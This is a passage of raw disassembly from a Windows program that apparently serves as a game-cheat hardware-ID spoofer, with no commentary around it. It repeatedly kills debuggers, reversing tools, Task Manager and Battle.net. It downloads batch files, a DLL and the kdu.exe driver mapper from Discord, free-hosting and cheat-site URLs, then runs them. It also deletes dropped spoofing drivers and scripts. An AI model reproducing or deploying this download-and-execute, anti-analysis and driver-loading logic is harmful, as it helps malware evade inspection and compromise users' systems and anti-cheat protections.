call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoVPN.exe
call fcn.1402b632c
lea rcx, [rsp + 0xd890]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd8b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd8d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd8f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd910]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd930]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd950]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd970]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd990]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd9b0]
call fcn.14005d8e0
call fcn.1400f6410
mov r8b, 1
mov edx, reloc.WS2_32.dll_sendto
lea rcx, str.___SPOOFING_OPTIONS
call fcn.14006be90
movss xmm2, dword [0x14039ce1c]
movss xmm1, dword [0x14039cea8]
lea rcx, [rsp + 0x678]
call fcn.14005eef0
lea rdx, [rsp + 0x678]
lea rcx, str.COD_BLOCKER
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x14007c274
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xdb10]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xdaf0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xdaf0]
call fcn.14005d8d0
mov qword [rsp + 0x680], rax
lea rcx, [rsp + 0xdb10]
call fcn.14005d8d0
mov qword [rsp + 0x688], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x680]
mov rdx, qword [rsp + 0x688]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
call fcn.14006ba20
call fcn.14006ba70
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.https:__sandiest_buttons.000webhostapp.com_colbact.dll
lea rcx, [rsp + 0xdad0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adocolbact.dll
lea rcx, [rsp + 0xdab0]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_nxtv2privatespoofermultitool_fixspooferv2namesss_asap_installDriver.bat
lea rcx, [rsp + 0xda90]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoinstallDriver.bat
lea rcx, [rsp + 0xda70]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_nxtv2privatespoofermultitool_fixspooferv2namesss_asap_kdu.exe
lea rcx, [rsp + 0xb8f0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adokdu.exe
lea rcx, [rsp + 0xda50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xdab0]
call fcn.14005d8d0
mov qword [rsp + 0x690], rax
lea rcx, [rsp + 0xdad0]
call fcn.14005d8d0
mov qword [rsp + 0x698], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x690]
mov rdx, qword [rsp + 0x698]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xda70]
call fcn.14005d8d0
mov qword [rsp + 0x6a0], rax
lea rcx, [rsp + 0xda90]
call fcn.14005d8d0
mov qword [rsp + 0x6a8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x6a0]
mov rdx, qword [rsp + 0x6a8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xda50]
call fcn.14005d8d0
mov qword [rsp + 0x6b0], rax
lea rcx, [rsp + 0xb8f0]
call fcn.14005d8d0
mov qword [rsp + 0x6b8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x6b0]
mov rdx, qword [rsp + 0x6b8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoinstallDriver.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xda30]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xda10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xda10]
call fcn.14005d8d0
mov qword [rsp + 0x6c0], rax
lea rcx, [rsp + 0xda30]
call fcn.14005d8d0
mov qword [rsp + 0x6c8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x6c0]
mov rdx, qword [rsp + 0x6c8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
